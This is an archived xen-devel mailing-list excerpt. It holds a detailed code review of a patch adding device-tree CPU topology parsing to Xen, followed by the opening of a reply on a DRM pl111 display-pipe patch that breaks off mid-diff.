Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783521395; x=1784126195; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=k906Yp2M2TfD5eHHUV4P3P329FIZzcpTxszvonqF5Dk=;
        b=FCt1u0K832yGBky8QZYLvWHYqOd97LiLblPK11IN5uvtt1Y7i7J17p+xLKMX9LLiuo
         J1HDDa2Gj6T6Yb6bY2CsCbrP7RQOaQtTvovvDz5t36hHDFPbh3yWZjpJ7Um7exYCdgXF
         oA0ZcfnVORyYo8So/vucOB2MZzor+tZPbGHr6Xyd5NJvH6cJVofHSxLgeeoNh/Vvi2Xv
         Nt2TJhx5AAn6nvgJwx1+NwqYcBtytowmaWj92nweuUr70BrJG3XbiBaGrv5hCN8LeVJ8
         /cXqYwGunck6QcwTi6yrrLn/5PdCa5zkLNal+JAKdJIN76PlaFGeiy22jtYkGTKfXnLd
         YiuQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783521395; x=1784126195;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=k906Yp2M2TfD5eHHUV4P3P329FIZzcpTxszvonqF5Dk=;
        b=BmhBemZlL4mE82cuIllFR/3zH7W25qXT8qzfCZtPXmh9hZyHfb7xGkuvbSOMyDDeWC
         NNMjtD7F/EfMbbY25ecVEQYYl21VhGu/57JAKWVjo2jFDjB8oL+2tjv6aI2z6MtxrTQW
         4LuIvndUU8Rn3CEuLDneTIBnuVJiby7OXAqWZBvXcpKSmD9T9iamQuViw/zkrAQ20W/T
         1nv59AbgMFTGSivRQSQzlo6zAVcl05ptWoMt90D7MHAV0XlH9Wu7dOvvgc1PhtimV4i6
         Gl2GfelympAix98UaWYx57jSGaIn9dta0oBMtb9dBdqNCx6/jXE55I/1F56ss3Zt4iov
         ZEbg==
X-Forwarded-Encrypted: i=1; AHgh+Ro/EZzp8XFChCcMbqnujErq56FNJ280EUqun7H65QHL53Tuq7RFNmQvNbiiRQSlRPbnI8EUG4q45cA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzMDPaCsg2o5N70lsA3g8AzGV/0Y3skEOe0UEvVyKWeNebYxjHF
	MoGYiHuSAhUP+snMpcWSIAjhOVXSkcq+A8xZdikp7odPhBk86CDYI4vL6EI+1ru90Q==
X-Gm-Gg: AfdE7cnAh7ZPqM583UQHY82vw4HTPwHuZXG6wE+h8UwnusADI4i9WZZlgeHoT6dalh3
	+JreAtQz8RIKfTPuCq3M2DGxHhagyc72bTHemCmiy/zIhyajtCaVjfXklsDf6m6fO4yGGyGNqfy
	1fhvPbKHUUFyziV6dahOj5nx9l2iKs/kypDi93CM1Yp1zbmsD97uwVMQScupXfvXWjoheREnyHe
	zWAZ2fuiMgs7i2ktkX7gUTeX0AgXxoXki9KkrV4gKJIUWCLpkMA3G00Up5GiOMATGAYe8Q/Kl0l
	fiNm5+TbzF23Teww/kW1Rs/IdWvYyFNnIYBcm2CfwzDl6ZSUoHy4jNoJBeHOt2Gb0YsMGxRF4Q8
	DHF5qi+rNKJa+3O3SXq9cZIPa/ya/uAiwWpP+lcTKoQjkSp4jifgmtABxeMuZKp1ZdqMz0KYc3m
	FldS++eqKWBoYjwOeE0mll/06EhldPo3H7iNIswZreDQSu/H+/hcM6ILgxv1NiYehMVHGiAX5Wl
	w19
X-Received: by 2002:a05:6000:4387:b0:477:80fa:f465 with SMTP id ffacd0b85a97d-47df076754bmr3236746f8f.45.1783521394818;
        Wed, 08 Jul 2026 07:36:34 -0700 (PDT)
Message-ID: <94476c2c-8539-486c-b210-467940e410fe@suse.com>
Date: Wed, 8 Jul 2026 16:36:33 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 1/3] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 xen-devel@lists.xenproject.org
References: <20260703091544.183548-1-taka@valinux.co.jp>
 <20260703091544.183548-2-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6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BM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260703091544.183548-2-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1783521395-D08DB1E0-FF731F17/0/0
X-purgate-type: clean
X-purgate-size: 10764

On 03.07.2026 11:15, Hirokazu Takahashi wrote:
> --- a/xen/common/Kconfig
> +++ b/xen/common/Kconfig
> @@ -188,6 +188,24 @@ config VM_EVENT
>  config NEEDS_LIBELF
>  	bool
>  
> +config HAS_GENERIC_CPU_TOPOLOGY
> +	bool

A few lines up from here you'll find a long, sorted list of HAS_*. Please
insert this one at the appropriate spot there.

> +config DT_CPU_TOPOLOGY
> +	bool
> +
> +config GENERIC_CPU_TOPOLOGY
> +	bool "CPU topology support (UNSUPPORTED)" if UNSUPPORTED
> +	depends on HAS_GENERIC_CPU_TOPOLOGY
> +	select DT_CPU_TOPOLOGY if DEVICE_TREE_PARSE
> +	select ACPI_CPU_TOPOLOGY if ACPI

I wonder what others think here; to me this looks backwards. "Generic" ought
to be selected by the more specific variants.

> +	help
> +	  Retrieve CPU topology information from the device tree to optimize
> +	  virtual CPU scheduling.

This is DT help text, not generic one. Altogether something like the below?

config GENERIC_CPU_TOPOLOGY
	bool

config DT_CPU_TOPOLOGY
	bool "CPU topology support (UNSUPPORTED)" if UNSUPPORTED
	depends on HAS_GENERIC_CPU_TOPOLOGY && DEVICE_TREE_PARSE
	select GENERIC_CPU_TOPOLOGY
	help
	  Retrieve CPU topology information from the device tree to optimize
	  virtual CPU scheduling.

(And then similarly for ACPI.)

> --- /dev/null
> +++ b/xen/common/cpu-topology.c
> @@ -0,0 +1,62 @@
> +/* SPDX-License-Identifier: GPL-2.0-or-later */
> +
> +#include <xen/acpi.h>
> +#include <xen/cpu-topology.h>
> +#include <xen/cpumask.h>
> +#include <xen/dt-cpu-topology.h>
> +#include <xen/init.h>
> +
> +struct cpu_topology *__ro_after_init cpu_topology;

With both functions below being __init, this is the sole reason why the
file cannot (also) be built into cpu-topology.init.o. Perhaps this would
better move into e.g. cpu.c (inside an #ifdef there, of course)?

> --- /dev/null
> +++ b/xen/common/device-tree/cpu-topology.c
> @@ -0,0 +1,355 @@
> +/* SPDX-License-Identifier: GPL-2.0-or-later */
> +/*
> + * Derived from Linux kernel 7.0's $drivers/base/arch_topology.c
> + * Parse cpu topology information.
> + */
> +
> +#include <xen/acpi.h>
> +#include <xen/cpu-topology.h>
> +#include <xen/cpumask.h>
> +#include <xen/device_tree.h>
> +#include <xen/errno.h>
> +#include <xen/init.h>
> +#include <xen/numa.h>
> +
> +struct cpu_map {
> +    unsigned int thread_id;
> +    unsigned int core_id;
> +    unsigned int cluster_id;
> +    unsigned int package_id;
> +};
> +
> +static const unsigned int __initdata invalid_topo_id = ~0U;

To better fit with the rest of the codebase, I think this will want to be

#define INVALID_TOPO_ID (~0U)

> +static struct cpu_map __initdata cpu_map[NR_CPUS] = {
> +    [0 ... NR_CPUS - 1] = {invalid_topo_id, invalid_topo_id, invalid_topo_id, 0}
> +};

Why would 0 need spelling out? And why is it 0 for package_id, but
invalid_topo_id for everything else? (IOW: There may want to be a comment
here.)

> +static struct dt_device_node *__initdata dt_cpu_table[NR_CPUS];
> +
> +static void __init setup_siblings_masks(unsigned int target_cpu)
> +{
> +    const struct cpu_topology *target_topo = &cpu_topology[target_cpu];
> +    const struct cpu_map *target_map = &cpu_map[target_cpu];
> +    unsigned int cpu;
> +
> +    /* Update core and thread sibling masks */
> +    for_each_possible_cpu(cpu)
> +    {
> +        const struct cpu_topology *cpu_topo = &cpu_topology[cpu];
> +        const struct cpu_map *map = &cpu_map[cpu];
> +
> +        if ( target_map->package_id != map->package_id )
> +            continue;
> +
> +        cpumask_set_cpu(target_cpu, cpu_topo->core_sibling);
> +        cpumask_set_cpu(cpu, target_topo->core_sibling);
> +
> +        if ( target_map->cluster_id != map->cluster_id )
> +            continue;
> +
> +        if ( target_map->cluster_id != invalid_topo_id )
> +        {
> +            cpumask_set_cpu(target_cpu, cpu_topo->cluster_sibling);
> +            cpumask_set_cpu(cpu, target_topo->cluster_sibling);
> +        }
> +
> +        if ( target_map->core_id != map->core_id )
> +            continue;
> +
> +        cpumask_set_cpu(target_cpu, cpu_topo->thread_sibling);
> +        cpumask_set_cpu(cpu, target_topo->thread_sibling);
> +    }
> +}
> +
> +static struct dt_device_node *__init
> +       dt_find_child_node_by_name(const struct dt_device_node *dt,

Bogus indentation (the function name wants to start at line start when
wrapped like this).

> +                                  const char *name)
> +{
> +    struct dt_device_node *np;
> +
> +    dt_for_each_child_node(dt, np)
> +        if ( np->name && (dt_node_cmp(np->name, name) == 0) )
> +            break;
> +
> +    return np;
> +}

I'm not a DT person, so I don't know how likely it is that the
implementation of dt_for_each_child_node(), to e.g. be similar to
list_for_each*(). Here you're assuming np to be NULL upon loop exit,
which however is an implementation detail of the macro.

> +void __init map_cpu_to_dt_node(unsigned int cpu,
> +                               struct dt_device_node *cpu_node)
> +{
> +    if ( cpu < ARRAY_SIZE(dt_cpu_table) )
> +        dt_cpu_table[cpu] = cpu_node;
> +    else
> +        printk(XENLOG_WARNING
> +               "cpu id %u exceeds the max cores %lu\n",
> +               cpu, ARRAY_SIZE(dt_cpu_table));

There's still "id" here, and "cores" also neither fits dt_cpu_table[],
nor is it an arch-independent synonym for "CPU" (and you use the term
for another purpose further down). %lu also isn't exactly the format to
use with size_t arguments.

> +static unsigned int __init cpu_node_to_id(const struct dt_device_node *cpu_node)
> +{
> +    unsigned int cpu;
> +
> +    for_each_possible_cpu(cpu)
> +        if ( cpu_node == dt_cpu_table[cpu] )
> +            return cpu;
> +
> +    return invalid_topo_id;
> +}
> +
> +/*
> + * This function returns the logical cpu number of the DT node.
> + */

"logical" meaning what exactly here? To be unambiguous, maybe better "Xen
CPU number"?

> +static unsigned int __init
> +       get_cpu_for_node(const struct dt_device_node *dt_node)

Bad indentation again.

> +static int __init parse_core(const struct dt_device_node *core,
> +                             unsigned int package_id,
> +                             unsigned int cluster_id,
> +                             unsigned int core_id)
> +{
> +    bool leaf = true;
> +    unsigned int i = 0;
> +    unsigned int cpu;
> +
> +    do {
> +        const struct dt_device_node *t;
> +        char name[20];
> +
> +        snprintf(name, sizeof(name), "thread%u", i);
> +        t = dt_find_child_node_by_name(core, name);
> +
> +        if ( !t )
> +            break;
> +
> +        leaf = false;
> +        cpu = get_cpu_for_node(t);
> +        if ( cpu != invalid_topo_id )
> +        {
> +            cpu_map[cpu].package_id = package_id;
> +            cpu_map[cpu].cluster_id = cluster_id;
> +            cpu_map[cpu].core_id = core_id;
> +            cpu_map[cpu].thread_id = i;
> +        }
> +        else
> +        {
> +            printk(XENLOG_ERR
> +                   "ERROR: %s: Can't get CPU for thread\n", dt_node_name(t));
> +            return -EINVAL;
> +        }

Less indentation is needed with

        if ( cpu == invalid_topo_id )
        {
            printk(XENLOG_ERR
                   "ERROR: %s: Can't get CPU for thread\n", dt_node_name(t));
            return -EINVAL;
        }

        cpu_map[cpu].package_id = package_id;
        cpu_map[cpu].cluster_id = cluster_id;
        cpu_map[cpu].core_id = core_id;
        cpu_map[cpu].thread_id = i;

Also should you maybe assert up front that the slot is still vacant?

> +        i++;
> +    } while ( true );

Why not the more conventional

    for ( i = 0; ; ++i )

? Then it will also be possible to use "continue" inside the loop (if ever
needed). Same elsewhere.

> +/*
> + * Generate cpu topology information when cpu-map node doesn't exist.
> + * It assumes that the cpu doesn't have SMT and all CPUs on a NUMA
> + * node belong to the same socket.
> + */
> +static void __init fixup_topology(void)
> +{
> +    unsigned int cpu;
> +    unsigned int clid = 0;
> +    unsigned int pkgid = 0;
> +
> +    for_each_possible_cpu(cpu)
> +    {
> +        struct cpu_map *map = &cpu_map[cpu];
> +
> +        map->package_id = cpu_to_node(cpu);
> +        if ( map->package_id != pkgid )
> +        {
> +            pkgid = map->package_id;
> +            clid = 0;
> +        }
> +        map->cluster_id = clid++;
> +        map->core_id = 0;
> +        map->thread_id = 0;
> +    }
> +}

The comment ahead of the function talks of NUMA nodes, but the function
shows no NUMA-awareness.

> +int __init parse_dt_topology(void)

static?

> --- /dev/null
> +++ b/xen/drivers/acpi/topology.c
> @@ -0,0 +1,38 @@
> +/* SPDX-License-Identifier: GPL-2.0-or-later */
> +
> +#include <xen/acpi.h>
> +#include <xen/cpu-topology.h>
> +#include <xen/cpumask.h>
> +#include <xen/init.h>
> +
> +/*
> + * TODO: Populate the topology information by scanning the ACPI
> + *       PPTT (Processor Properties Topology Table).
> + */
> +void __init acpi_init_cpu_topology(void)
> +{
> +    unsigned int cpu;
> +
> +    /*
> +     * Generate temporary cpu topology information for now.
> +     * It assumes that the cpu doesn't have SMT and all CPUs
> +     * belong to the same socket.
> +     */
> +    for_each_possible_cpu(cpu)
> +    {
> +        struct cpu_topology *topo = &cpu_topology[cpu];
> +
> +        cpumask_set_cpu(cpu, topo->thread_sibling);
> +        cpumask_copy(topo->core_sibling, &cpu_possible_map);
> +    }

What about ->cluster_sibling? That can't remain all empty, can it?

> --- /dev/null
> +++ b/xen/include/xen/cpu-topology.h
> @@ -0,0 +1,35 @@
> +/* SPDX-License-Identifier: GPL-2.0-only */
> +
> +#ifndef XEN_CPU_TOPOLOGY_H
> +#define XEN_CPU_TOPOLOGY_H
> +
> +#include <xen/cpumask.h>
> +
> +#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
> +
> +struct cpu_topology {
> +    cpumask_var_t thread_sibling;
> +    cpumask_var_t core_sibling;
> +    cpumask_var_t cluster_sibling;
> +};
> +
> +extern struct cpu_topology *cpu_topology;
> +void init_cpu_topology(void);
> +
> +#else /* CONFIG_GENERIC_CPU_TOPOLOGY */
> +
> +#define cpu_topology ((struct cpu_topology *)NULL)

As before: I consider it dangerous to expose an identifier which is
only ever NULL. The extern should be moved out of the #ifdef, and
DCE should be leveraged to eliminate all references when
GENERIC_CPU_TOPOLOGY=n.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 14:47:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 14:47:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357116.1611605 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whTY9-0005mX-Hd; Wed, 08 Jul 2026 14:46:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357116.1611605; Wed, 08 Jul 2026 14:46:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whTY9-0005mQ-Ec; Wed, 08 Jul 2026 14:46:57 +0000
Received: by outflank-mailman (input) for mailman id 1357116;
 Wed, 08 Jul 2026 14:46:56 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1whTY8-0005mK-2k
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 14:46:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whTY6-0005ZD-DX
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 16:46:54 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4e62d1-bab6-0a2a0a5309dd-0a2a4503cf54-18
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:46:54 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4e62dc-ec1a-0a2a45030019-cddca8832f92-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:46:53 +0200
Received: from pps.filterd (m0279867.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 668C3AVo2736275
 for <xen-devel@lists.xenproject.org>; Wed, 8 Jul 2026 14:46:51 GMT
Received: from mail-oa1-f72.google.com (mail-oa1-f72.google.com
 [209.85.160.72])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f9hnv1vg8-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 14:46:51 +0000 (GMT)
Received: by mail-oa1-f72.google.com with SMTP id
 586e51a60fabf-448d51840c4so402863fac.1
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 07:46:51 -0700 (PDT)
Received: from localhost ([151.243.38.149]) by smtp.gmail.com with ESMTPSA id
 586e51a60fabf-44cfb13d619sm18125627fac.2.2026.07.08.07.46.43
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 07:46:49 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:Mime-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="In-Reply-To:References:To:From:Subject:Cc:Message-Id:Date:Content-Type:Content-Transfer-Encoding:Mime-Version"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	vL4MQZJyYnOZgb+t9Slt97jlU8ZMhiBcIG4lPhLxhqk=; b=l9PTuMVsLQ/lb5E7
	FUy+YKYjhfuxGpV2yPYrT8cW990iscK3mTQzOIF8tGq/IN0UGqjuAyycToz5zcmp
	b5J5Ef65ekAr1pBRTSoIVmVaCAilH9sfGD3P2WGPIs887lWUsiNiEKklxBPgWTzc
	dEcSjBxCFMfjZgSkE9LOnrD5tnmd4F1z/y65PGB1QpI4IiFBzBbHqeO8mC3y1SyT
	VijYEMNHVsbO8/EMtiW5eEhFMLHRcUpvXEZ5J4PAOgvLKXcYGSY8gNO9U3ScfM0r
	JhbjreFoT0InUzIWIFkZZMGSEQ76sA922nbzv2otnraPB1TKtoPir2rkT9lzt6gG
	mmmXMA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783522011; x=1784126811; darn=lists.xenproject.org;
        h=in-reply-to:references:to:from:subject:cc:message-id:date
         :content-type:content-transfer-encoding:mime-version:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=vL4MQZJyYnOZgb+t9Slt97jlU8ZMhiBcIG4lPhLxhqk=;
        b=XhLD+vKL2EBDYcUKZJm0sBHuKIALcCke3sY+igFt07xylFTOMs4VOU7c88hHaGXx14
         4GnlkbURXEORx79CqgNpwN9PSTGM8yEX1ykl1mD62LMqcQ3zfX45KmIRwIQBDazC7gIt
         SS5/RGdKs/lRaSy2JkEKxz9CTUemNSefv6UZFe2F/5H4O7Gd0eXxg6CHl5hnYc5cwQ5y
         EldxA5GQkv8vrwUdGNWu7VjTtEvAMNE25bgQ0eSF0f7d446zS3+kv7rF7g2B5j59UTty
         PiJX0jZm3i9MQ+kkMdlQxijeHcTWQPbg6rled2vmT0IfF7LNP4123hMGfOYjz7dKw/oM
         VCmQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783522011; x=1784126811;
        h=in-reply-to:references:to:from:subject:cc:message-id:date
         :content-type:content-transfer-encoding:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=vL4MQZJyYnOZgb+t9Slt97jlU8ZMhiBcIG4lPhLxhqk=;
        b=Tsn/OeugfjfWdsdwfy6OLs5K9wz7TW9UdXnuB1PvNd27c11XQcQKrB79Z77C3tTz+O
         wcHbxmN0qU5P6XZzsaHWZewUgu54Gj9Uqul5AamzmS2bs/p9iDZsGGfCRgyDy18QgXsG
         wP7Y5XfwEg/0Jz3568ff61Vh+WvbKebpt2Y/mJ+SjPerWxCjQgWkEUA3dBvLLOYnp1+l
         rv8jyVBMzWXJ9yprch4wUJ9oku04m0R4fXjf362J2vrE9BLRzGDD9IaWZf/sBiH9GMfL
         cidL0D3XNCKQMIBFHp/a+Z0zVBSd9v+Fz0OtbTkek4Jk/ZbixfGsMhGZYB8hxCFCWVGN
         bmMA==
X-Forwarded-Encrypted: i=1; AHgh+Rrc5ih9DYX6gYzEF/AH1O4p3JhuxfxNmOHS3DSYBD+w47YBuHQku3ThM7acwLQlud5foGpHOi5wv+I=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxT3Lj2TqzHrZER8Z6o9YUP0PC8So6MOtcaNoedbBeJWyZuaz7w
	yUdw16JwLIfFueM05aB9Pu7/U0aTR1P5HlzgZ8qN2zkbA8DOt9emRj+n6edlu7du/MnpU7jVMnR
	yGVcRREjLKKDqSKvAsfgGsx4OtTtjryzw7yGKJRnTg+3GkTG3op5aD2Cy1UVx6S/SUC9m9g==
X-Gm-Gg: AfdE7cmjoQSlNV9PIxesRtpCbIe/UGO/o3QOFaIhwHp8eegzxepUoTSy9gG/NbbzscP
	uQrGQdjZR9tMYVIGGmwnawxpovxfYEkYrYjvNFE38VtTa/9LGWX5cC9buYq3iLCrUFaIFSAJXoj
	o25V5jk/YluFCBqUl0R3wwZM446PJfRS1yPJtFLJcuiyQtzDXrvJ5tnAjZyOnVm2HFNAn2XlOFt
	JWDHprZwGgDiqyElN+prDtINtf/Ofo65LB3ccukO8oACvyOEUobl2oaEsBSzFmPqD8FflDN/wua
	Uicb7/J93SkI+BbpZe3Opk8MRjDAABC+wdY+94vGSfkqp3+W39Jg5H4iURdDtC5NxqfH1XTVCuA
	TZe/sSK/6WiMmTNM=
X-Received: by 2002:a05:6871:2ecf:b0:447:a321:35d with SMTP id 586e51a60fabf-4516387345cmr1779018fac.10.1783522010299;
        Wed, 08 Jul 2026 07:46:50 -0700 (PDT)
X-Received: by 2002:a05:6871:2ecf:b0:447:a321:35d with SMTP id 586e51a60fabf-4516387345cmr1778984fac.10.1783522009770;
        Wed, 08 Jul 2026 07:46:49 -0700 (PDT)
Mime-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Wed, 08 Jul 2026 22:46:30 +0800
Message-Id: <DJT9S3CQRB0P.982J925T9O4B@oss.qualcomm.com>
Cc: <dri-devel@lists.freedesktop.org>, <linux-kernel@vger.kernel.org>,
        <linux-aspeed@lists.ozlabs.org>,
        <linux-arm-kernel@lists.infradead.org>, <imx@lists.linux.dev>,
        <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH 5/9] drm/pl111: replace struct drm_simple_display_pipe
 with regular atomic helpers
From: "Ze Huang" <ze.huang@oss.qualcomm.com>
To: "Thomas Zimmermann" <tzimmermann@suse.de>,
        "Ze Huang"
 <ze.huang@oss.qualcomm.com>,
        "Alexey Brodkin" <abrodkin@synopsys.com>,
        "Maarten Lankhorst" <maarten.lankhorst@linux.intel.com>,
        "Maxime Ripard"
 <mripard@kernel.org>,
        "David Airlie" <airlied@gmail.com>, "Simona Vetter"
 <simona@ffwll.ch>,
        "Joel Stanley" <joel@jms.id.au>,
        "Andrew Jeffery"
 <andrew@codeconstruct.com.au>,
        "Frank Li" <Frank.Li@nxp.com>,
        "Sascha
 Hauer" <s.hauer@pengutronix.de>,
        "Pengutronix Kernel Team"
 <kernel@pengutronix.de>,
        "Fabio Estevam" <festevam@gmail.com>,
        "Linus
 Walleij" <linusw@kernel.org>,
        "Hans de Goede" <hansg@kernel.org>,
        "Alex
 Lanzano" <lanzano.alex@gmail.com>,
        "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>
X-Mailer: aerc 0.21.0-0-g5549850facc2
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com> <20260705-drm-simple-kms-removal-v1-5-b4e1ca053623@oss.qualcomm.com> <747ae980-9358-4e15-84e3-6e2f3e143423@suse.de>
In-Reply-To: <747ae980-9358-4e15-84e3-6e2f3e143423@suse.de>
X-Authority-Analysis: v=2.4 cv=KNNqylFo c=1 sm=1 tr=0 ts=6a4e62db cx=c_pps
 a=Z3eh007fzM5o9awBa1HkYQ==:117 a=cNux22OjBTKCC6TmznXXXA==:17
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vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-08_02,2026-07-08_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 lowpriorityscore=0 bulkscore=0 impostorscore=0 suspectscore=0 spamscore=0
 malwarescore=0 phishscore=0 clxscore=1015 priorityscore=1501 adultscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607080145
X-purgate-ID: tlsNG-33051d/1783522014-B49825D1-169519EE/0/0
X-purgate-type: clean
X-purgate-size: 2145

On Wed Jul 8, 2026 at 9:03 PM CST, Thomas Zimmermann wrote:
>
>
> Am 04.07.26 um 20:31 schrieb Ze Huang:
>> Replace PL111 simple display pipe with explicit plane, CRTC and encoder
>> objects.
>>
>> Keep existing hardware programming and vblank behavior, and install GEM
>> framebuffer prepare helper explicitly.
>>
>> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
>> ---
>>   drivers/gpu/drm/pl111/pl111_display.c | 174 ++++++++++++++++++++++++++=
--------
>>   drivers/gpu/drm/pl111/pl111_drm.h     |   5 +-
>>   drivers/gpu/drm/pl111/pl111_drv.c     |   3 +-
>>   3 files changed, 136 insertions(+), 46 deletions(-)
>>

[ ... ]

>> -static int pl111_display_check(struct drm_simple_display_pipe *pipe,
>> -			       struct drm_plane_state *pstate,
>> -			       struct drm_crtc_state *cstate)
>> +static int pl111_plane_helper_atomic_check(struct drm_plane *plane,
>> +					   struct drm_atomic_commit *state)
>>   {
>> -	const struct drm_display_mode *mode =3D &cstate->mode;
>> -	struct drm_framebuffer *old_fb =3D pipe->plane.state->fb;
>> +	struct drm_plane_state *pstate =3D drm_atomic_get_new_plane_state(stat=
e, plane);
>> +	struct drm_crtc *crtc =3D pstate->crtc;
>> +	struct drm_crtc_state *cstate;
>> +	const struct drm_display_mode *mode;
>> +	struct drm_framebuffer *old_fb =3D plane->state->fb;
